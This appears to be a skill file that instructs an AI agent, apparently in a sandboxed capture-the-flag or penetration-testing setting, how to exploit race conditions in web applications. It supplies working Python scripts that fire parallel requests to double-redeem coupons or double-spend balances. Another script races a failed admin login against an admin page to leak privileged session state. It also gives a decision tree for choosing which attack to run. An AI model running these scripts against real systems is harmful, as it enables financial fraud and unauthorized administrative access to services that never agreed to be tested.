---
name: race-condition
description: "Race condition / TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request."
metadata:
  mitre_attack: T1190
  when_to_use: "TOCTOU, race condition, concurrent request, session_write_before_check, last-write-wins, double-spend, parallel POST, coupon double-redeem, balance race, transfer race, check-then-act, time-of-check time-of-use, parallel GET POST, multi-endpoint race, session leak, atomic check, bcrypt slow auth"
---

# Race Conditions (TOCTOU)

Exploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt/Argon2, DB round-trips, network calls) make the race trivially winnable.

## Recognition Signals

Trigger this skill when ANY of the following are present:

- **Slow auth path**: bcrypt/Argon2/PBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.
- **`session[k] = form[k]` BEFORE validation**: e.g. login writes `session["user"] = posted_username` before checking the password — the session row carries attacker-chosen state during the bcrypt sleep.
- **Check-then-act money flows**: balance/quota/coupon/transfer endpoints that do `if x.balance >= n: x.balance -= n` without a single atomic UPDATE-with-WHERE-balance>=n.
- **Idempotency-key-less POSTs** to mutating endpoints — same payload N times in parallel produces N writes.
- **Challenge tag** includes `race_condition`, `toctou`, `concurrent`, `last-write-wins`, or `double-spend`. (Note: `smuggling_desync` is a parser-disagreement attack, NOT a race — route to `/skills/standard/exploit/web/smuggling.md`.)
- **Session-coupled endpoints**: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.

## Single-Endpoint Race — Double Submit

Classic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe.

```python
# python3 -c "$(cat << 'PY' ... PY)" — keep timeout ≤ 5s, count ≤ 30
python3 - <<'PY'
import concurrent.futures, requests, sys

URL = "https://<TARGET>/redeem"
COOKIES = {"session": "<SESSION>"}
PAYLOAD = {"coupon": "ONETIME50"}
N = 20

def fire(_):
    return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code

with concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:
    codes = list(ex.map(fire, range(N)))

print("status counts:", {c: codes.count(c) for c in set(codes)})
print("non-error wins:", sum(1 for c in codes if 200 <= c < 300))
PY
```

Win condition: more than one `200`/`201` for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance/redemption history AFTER the burst — multiple debits/credits = race won.

### Verification (≥3 reproductions)

A single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if ≥3 of 3 reproductions show duplicate writes.

```python
# Repeat the burst across 3 fresh trials
python3 - <<'PY'
import concurrent.futures, requests
# ... fire 20 parallel POSTs, count successes ...
# Run 3 times against reset state, log each trial's win count.
PY
```

## Multi-Endpoint State-Leak Race

The high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt — the session carries privileged state but no valid auth has happened yet.

Pattern:
- `POST /login` with `username=admin&password=wrong` — server writes `session["user"]="admin"` BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms).
- `GET /admin_panel` — checks only `session["user"] == "admin"`.
- During the bcrypt window, `/admin_panel` returns admin content. After bcrypt, `/login` clears the session and returns 401.

```python
python3 - <<'PY'
import concurrent.futures, requests, time

S = requests.Session()
LOGIN  = "https://<TARGET>/login"
TARGET = "https://<TARGET>/admin_panel"
CREDS  = {"username": "admin", "password": "wrong"}

def hit_login():
    return S.post(LOGIN, data=CREDS, timeout=5).status_code

def hit_target():
    # Stagger by ~50ms so the read lands inside the bcrypt window
    time.sleep(0.05)
    r = S.get(TARGET, timeout=5)
    return r.status_code, len(r.content), r.text[:200]

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex:
    f1 = ex.submit(hit_login)
    f2 = ex.submit(hit_target)
    print("login:", f1.result())
    print("target:", f2.result())
PY
```

Tune the stagger (`time.sleep`) to fit the slow-op latency you measured during recon. Always rely on recon's "Session-write timeline" table for endpoint-to-session-key mapping.

### Verification (≥3 reproductions)

Same rule as single-endpoint: re-run the parallel pair ≥3 times. A leak is only confirmed if the privileged read consistently succeeds during the write's slow window. Log each trial's body length / status code.

## Anti-Patterns (Do NOT)

These are sandbox-hostile and make a clean reproduction impossible:

- **No bash heredocs of `python3 - <<'PY'`** chained through bash subshells with `&` — use a single `python3 -c`/`python3 - <<'PY'` block as shown.
- **No `&` backgrounding** to fake parallelism — use `concurrent.futures.ThreadPoolExecutor`.
- **No unbounded `nc -l`, `tail -f`, `sleep` loops** — every HTTP probe MUST set a tool-level timeout so a slow target cannot wedge the shell. Every loop MUST be bounded.
- **No empty-command-with-timeout** like `timeout 5 bash -c ""` — that's a recon scope-creep tell.
- **No fork-bombs** — keep `max_workers ≤ 30`. Higher counts trigger sandbox throttling, hide the race, and pollute logs.

## Output Files

```
./
├── race_<target>_<endpoint>_burst.json   # Per-trial status code histograms
├── race_<target>_<endpoint>_evidence.txt # Multi-write proof (balance, redemption rows, etc.)
└── race_<target>_summary.md              # Endpoint, payload, ≥3 reproductions, win condition
```

## Decision Tree

```
Slow-op auth path? (bcrypt/Argon2)
└── YES → multi-endpoint state-leak race (login + privileged GET)

Money/quota/coupon endpoint, no idempotency key?
└── YES → single-endpoint double-submit race

Session write before validation (session[k]=form[k] then check)?
└── YES → multi-endpoint race against any reader of session[k]

None of the above + tag says race?
└── Re-read recon's session-write timeline. If absent, flag back to recon.
```
